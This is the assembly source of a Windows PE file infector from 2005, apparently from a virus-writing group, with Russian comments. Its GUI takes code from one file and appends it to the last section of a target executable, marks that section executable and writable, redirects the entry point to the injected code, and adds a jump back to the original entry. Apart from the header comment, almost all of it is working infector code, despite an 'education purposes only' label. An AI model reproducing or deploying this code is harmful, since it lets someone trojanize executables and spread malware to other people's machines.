PE EXE Infector For education purposes only Это ПЕ-инфектор учебно-тес

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!PE EXE Infector!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
;For education purposes only
;Это ПЕ-инфектор (учебно-тестовая программа) который заражет файла %)
;заражение происходит с помощью расширения последней секции
;Как это работает?
;1. Выбираете файл в котором находиться код
;2. Выбираете файл который хотите заразить
;3. Нажимаете Infect! и файл заражается
;Техническая информация:
;1. Создаем файл-мэппинг равный размеру файла + размер кода
;2. Находим помледнюю секцию виртуально и физически
;3. Проверка не равен ли размер последней секции нулю
;4. Записывает в конец секции код учебно-тестовой программы
;5. Выравниваем новую секцию с учетом фалового выравнивания
;6. Правим - виртуальный и физический размеры секций
;7. Правим - точку входа
;8. Правим - размер образа - VirtualSize+VirtualAddress
;9. Правим - характеристики - 0a0000020h
;10. Готово!
;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
.586
.model flat,stdcall
option casemap:none
;----------------------IncludeLib and Include---------------------
includelib f:\tools\masm32\lib\user32.lib
includelib f:\tools\masm32\lib\kernel32.lib
includelib f:\tools\masm32\lib\gdi32.lib
includelib f:\tools\masm32\lib\advapi32.lib
include f:\tools\masm32\include\windows.inc
include f:\Tools\masm32\include\proto.inc
include f:\tools\masm32\include\user32.inc
include f:\tools\masm32\include\kernel32.inc
include f:\tools\masm32\include\gdi32.inc
include f:\tools\masm32\include\advapi32.inc
include f:\tools\masm32\include\comdlg32.inc
includelib f:\tools\masm32\lib\comdlg32.lib
;----------------------End IncludeLib and Include-----------------
.data
hWindow dd 0;Описатель окна
msg MSG <?>
wc WNDCLASS <?>
hInstance dd 0;Описатель модуля
TitleName db 'PE Infector v1.0 by Bill/TPOC 2005. http://vxbill.narod.ru, bill_tpoc@mail.ru',0
ClassName db 'InfectClass',0
ButtonName db 'BUTTON',0
EditName db 'EDIT',0
TitleButton db "From file",0
TitleButton1 db "To File",0
TitleButton2 db "Infect",0
ps PAINTSTRUCT <0>
rect RECT <0>
text db "File is ",0
FileInjectTitle db 'Path to file with inject code...',0
FileDestinationTitle db 'Path to file to infect...',0
ofn OPENFILENAME <>
ofn1 OPENFILENAME <>
FilterString db "All Files",0,"*.*",0,0
FilterString1 db "PE EXE Files",0,"*.exe",0,0
buffer db 1000 dup(0)
buffer1 db 1000 dup(0)
OurTitle db "Выбери файл с кодом для внедрения...",0
OurTitle1 db "Выбери файл куда внедрять код...",0
ErrorText db "Ошибка при создании обьекта ядра",0
ErrorTitle db "Ошибка!",0
flag1 db 0
flag2 db 0
NoSelect db "Не выбран какой-то из файлов",0
NoSelectTitle db "Ошибка",0
InfectText db "Вот бля и готово",0
Ok db "Гуд",0
SectionError db "Ошибка секции - последняя секция нулевая!",0
code db 0b8h,00,00,00,00,0ffh,0e0h
.data?
hButton dd ?
hEdit dd ?
hButton1 dd ?
hEdit1 dd ?
hButton3 dd ?
hFileFrom dd ?
hFileTo dd ?
hFileMappingFrom dd ?
hFileMappingTo dd ?
hMappingFrom dd ?
hMappingTo dd ?
EntryPoint dd ?
MaxOffset dd ?
SizeOfLastSection dd ?
pSizeOfLastSection dd ?
pMemory dd ?
SizeOfAfterSection dd ?
FileAlignment dd ?
EndOfNewSection dd ?
NumberOfSections dw ?
pVSizeOfLastSection dd ?
pImageSize dd ?
VirtualAddress dd ?
VirtualSize dd ?
SizeOfRawData dd ?
SizeOfCode dd ?
VirtualAdd dd ?
pCharacters dd ?
Base dd ?
Point dd ?
.code
start:
push 0
call GetModuleHandleA@4
mov hInstance,eax
;-------------------------Registry of Class--------------------------
mov wc.style,CS_HREDRAW or CS_VREDRAW or CS_HREDRAW
mov wc.lpfnWndProc,WndProc
mov wc.cbClsExtra,0
mov wc.cbWndExtra,0
mov eax,hInstance
mov wc.hInstance,eax
push 1
push hInstance
call LoadIconA@8
mov wc.hIcon,eax
invoke LoadCursor,0,IDC_CROSS
mov wc.hCursor,eax
mov wc.hbrBackground,17
mov wc.lpszMenuName,0
mov wc.lpszClassName,offset ClassName
invoke RegisterClass,offset wc
;---------------------End Registry of Class--------------------------
;----------------------Create of Window------------------------------
invoke CreateWindowEx,0,offset ClassName,offset TitleName, WS_VISIBLE or WS_OVERLAPPED or WS_SYSMENU, CW_USEDEFAULT, CW_USEDEFAULT,600,100,0,0,hInstance,0
mov hWindow,eax
;------------------End Create of Window------------------------------
;----------------------Loop of Messages------------------------------
msg_loop:
invoke TranslateMessage, offset msg
invoke GetMessage,offset msg,0,0,0
cmp ax,0
je end_loop
invoke DispatchMessage, offset msg
jmp msg_loop
end_loop:
invoke ExitProcess,0
;----------------------End Loop of Messages--------------------------
;----------------------Procedure of Window---------------------------
WndProc proc
push ebp
mov ebp,esp
push ebx
push edi
push esi
cmp dword ptr [ebp+0Ch],WM_DESTROY
je destroy
cmp dword ptr [ebp+0Ch],WM_CREATE
je create
cmp dword ptr [ebp+0CH],WM_PAINT
je defwndproc
cmp dword ptr [ebp+0Ch],WM_COMMAND
je command
jmp defwndproc
command:
mov eax,dword ptr [ebp+14h]
.IF eax==hButton
mov ofn.lStructSize,SIZEOF ofn
push hWindow
pop ofn.hWndOwner
push hInstance
pop ofn.hInstance
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,1000
mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
mov ofn.lpstrTitle, OFFSET OurTitle
invoke GetOpenFileName, ADDR ofn
.IF eax==TRUE
;-----------------------Create FileMapping1------------------------------------------------------------------
invoke CreateFile,ofn.lpstrFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
.IF eax==INVALID_HANDLE_VALUE
jmp error
.ENDIF
mov hFileFrom,eax
invoke CreateFileMapping,hFileFrom,NULL,PAGE_READONLY,0,0,NULL
.IF eax==NULL
jmp error
.ENDIF
mov hFileMappingFrom,eax
invoke MapViewOfFile,hFileMappingFrom,FILE_MAP_READ,0,0,0
.IF eax==NULL
jmp error
.ENDIF
mov hMappingFrom,eax
invoke SetWindowText,hEdit,ofn.lpstrFile
mov flag1,1
;-----------------------End Create FileMapping1-----------------------------------------------------------------
.ENDIF
.ELSEIF eax==hButton1
mov ofn1.lStructSize,SIZEOF ofn
push hWindow
pop ofn1.hWndOwner
push hInstance
pop ofn1.hInstance
mov ofn1.lpstrFilter, OFFSET FilterString1
mov ofn1.lpstrFile, OFFSET buffer1
mov ofn1.nMaxFile,1000
mov ofn1.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
mov ofn.lpstrTitle, OFFSET OurTitle1
invoke GetOpenFileName, ADDR ofn1
.IF eax==TRUE
invoke CreateFile,ofn1.lpstrFile,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
.IF eax==INVALID_HANDLE_VALUE
jmp error
.ENDIF
mov hFileTo,eax
invoke GetFileSize,hFileTo,NULL
mov edi,eax
invoke GetFileSize,hFileFrom,NULL
add eax,7
mov ecx,eax
mov ebx,4096
dec ebx
add ecx,ebx
not ebx
and ecx,ebx;ecx=(x+(y-1))&(~(y-1))
add edi,ecx
invoke CreateFileMapping,hFileTo,NULL,PAGE_READWRITE,0,edi,NULL
.IF eax==NULL
jmp error
.ENDIF
mov hFileMappingTo,eax
invoke MapViewOfFile,hFileMappingTo,FILE_MAP_WRITE,0,0,0
.IF eax==NULL
jmp error
.ENDIF
mov hMappingTo,eax
invoke SetWindowText,hEdit1,ofn1.lpstrFile
mov flag2,1
;-----------------------End Create FileMapping1-----------------------------------------------------------------
.ENDIF
.ELSEIF eax==hButton3
.IF (flag1==1 && flag2==1);если все файлы выбраны, то заражаем
;------------------------Working withPEeader-------------------------------------------------
;-----------------------------получаем количество секций и проходим до опционального заголовка
mov edi,hMappingTo
assume edi:ptr IMAGE_DOS_HEADER
add edi,[edi].e_lfanew;в edi - PE заголовок
add edi,4;в edi - адрес файлового заголовка
assume edi:ptr IMAGE_FILE_HEADER
push [edi].NumberOfSections
pop NumberOfSections
add edi,sizeof IMAGE_FILE_HEADER;в edi - адрес опционального заголовка
assume edi:ptr IMAGE_OPTIONAL_HEADER
;-----------------------------получаем VA точки входа чтобы потом ее перебить
mov EntryPoint,edi
add EntryPoint,16
;-----------------------------получаем выравнивание секций
push [edi].FileAlignment
pop FileAlignment
mov pImageSize,edi
add pImageSize,56
push [edi].ImageBase
pop Base
push [edi].AddressOfEntryPoint
pop Point
;-----------------------------переходим в таблицу секций и ищем последнюю секцию
add edi,sizeof IMAGE_OPTIONAL_HEADER;в edi - адрес таблицы секций
assume edi:ptr IMAGE_SECTION_HEADER
mov MaxOffset,0
xor ecx,ecx
mov cx,NumberOfSections
.WHILE ecx>0;цикл поиска смещения в файле последней секции. на выходе в MaxOffset - смещение относительно начала файла последней секции
mov eax,MaxOffset
.IF [edi].PointerToRawData>eax
push [edi].PointerToRawData
pop MaxOffset
push [edi].SizeOfRawData
pop SizeOfLastSection
mov pSizeOfLastSection,edi
add pSizeOfLastSection,16
mov pVSizeOfLastSection,edi
add pVSizeOfLastSection,8
mov eax,[edi].VirtualAddress
mov esi,[edi].SizeOfRawData
add eax,esi
mov SizeOfRawData,eax
mov eax,[edi].VirtualAddress
mov VirtualAdd,eax
mov pCharacters,edi
add pCharacters,36
.ENDIF
add edi,sizeof IMAGE_SECTION_HEADER;в edi - адрес следующей секции
dec ecx
.ENDW
;------------------------End Working with PE Header----------------------------------------------------
mov edi,pSizeOfLastSection;проверяем не нулевая ли последняя секция
mov eax,dword ptr [edi]
.IF eax==0
invoke MessageBox,0,offset SectionError,offset ErrorTitle,0
.ENDIF
;-----------------------------внедряем код
cld
mov edi,hMappingTo
mov eax,MaxOffset
add eax,SizeOfLastSection
add edi,eax;в edi - конец последней секции, т.е адрес с которого начинать запись
mov esi,hMappingFrom
invoke GetFileSize,hFileFrom,NULL
mov ecx,eax
rep movsb;внедряем код
mov esi,offset code
mov eax,dword ptr [esi]
mov dword ptr [edi],eax
inc esi
inc edi
mov eax,Base
add eax,Point
mov dword ptr [edi],eax
add edi,4
add esi,4
mov eax,dword ptr [esi]
mov dword ptr [edi],eax
inc edi
inc esi
mov eax,dword ptr [esi]
mov dword ptr [edi],eax
inc edi
inc esi
mov eax,dword ptr [esi]
mov dword ptr [edi],eax
;-----------------------------это типа для заполнения нулями оставшейся части для учета FileAlignment
invoke GetFileSize,hFileFrom,NULL
add eax,7
mov ecx,eax
mov ebx,FileAlignment
dec ebx
add ecx,ebx
not ebx
and ecx,ebx;ecx=(x+(y-1))&(~(y-1))
mov esi,edi
add edi,ecx
sub edi,eax
.WHILE 1
mov byte ptr [esi],0
inc esi
.IF esi==edi
.BREAK
.ENDIF
.ENDW
;-----------------------------записываем новый размер последней секции
;mov EndOfNewSection,edi;EndOfNewSection - VA конец новой секции
mov eax,MaxOffset
add eax,hMappingTo
sub edi,eax
mov esi,pSizeOfLastSection
mov [esi],edi;записываем новый размер секции в таблицу секций
mov esi,pVSizeOfLastSection
mov ecx,[esi]
mov ebx,FileAlignment
dec ebx
add ecx,ebx
not ebx
and ecx,ebx;ecx=(x+(y-1))&(~(y-1))
mov dword ptr [esi],ecx
invoke GetFileSize,hFileFrom,NULL;виртуальный размер - размер секции без файлового выравнивания
add eax,7
add [esi],eax
mov eax,dword ptr [esi]
push eax
mov esi,EntryPoint
mov eax,SizeOfRawData
mov [esi],eax;меняем точку входа
pop eax
mov esi,pImageSize
mov edi,VirtualAdd
add edi,eax
mov [esi],edi;изменяем ImageSize
mov esi,pCharacters
mov dword ptr [esi],0A0000020h
invoke MessageBox,hWindow,offset InfectText,offset Ok,0
.ELSE
invoke MessageBox,hWindow,offset NoSelect,offset NoSelectTitle,0
jmp finish
.ENDIF
.ENDIF
jmp finish
error:
invoke MessageBox,hWindow,offset ErrorText,offset ErrorTitle,0
jmp finish
paint:
jmp defwndproc
;---------------------Calling of Default windows Procedure-----------
defwndproc:
invoke DefWindowProc, dword ptr [ebp+08h], dword ptr [ebp+0ch], dword ptr [ebp+10h], dword ptr [ebp+14h]
jmp finish
;---------------------Calling of Default windows Procedure-----------
;---------------------Destroing of Process---------------------------
destroy:
invoke PostQuitMessage,0
jmp finish
;---------------------End Destroing of Process-----------------------
create:
;---------------------Create Button on Window------------------------
invoke CreateWindowEx,0, offset ButtonName,offset TitleButton, WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,80,35,120,30, dword ptr [ebp+08h],0, hInstance, 0
mov hButton,eax
;---------------------End Create Button on Window--------------------
;---------------------Create Button2 on Window------------------------
invoke CreateWindowEx,0, offset ButtonName, offset TitleButton1, WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,375,35,120,30, dword ptr [ebp+08h],0, hInstance,0
mov hButton1,eax
;---------------------End Create Button2 on Window--------------------
;---------------------Create Button3 on Window------------------------
invoke CreateWindowEx,0, offset ButtonName, offset TitleButton2, WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,230,35,120,30, dword ptr [ebp+08h],0, hInstance, 0
mov hButton3,eax
;---------------------End Create Button3 on Window--------------------
;---------------------Create EditBox on Window-----------------------
invoke CreateWindowEx,0, offset EditName, offset FileInjectTitle, WS_CHILD or WS_VISIBLE or WS_BORDER,20,10,250,20, dword ptr [ebp+08h],0, hInstance,0
mov hEdit,eax
;---------------------Create EditBox on Window-----------------------
;---------------------Create EditBox2 on Window-----------------------
invoke CreateWindowEx,0, offset EditName, offset FileDestinationTitle, WS_CHILD or WS_VISIBLE or WS_BORDER,320,10,250,20, dword ptr [ebp+08h],0, hInstance, 0
mov hEdit1,eax
;---------------------Create EditBox2 on Window-----------------------
jmp finish
;----------------------Backing from WinProc--------------------------
finish:
pop esi
pop edi
pop ebx
pop ebp
ret 16
;-------------------End Backing from WinProc-------------------------
WndProc endp
end start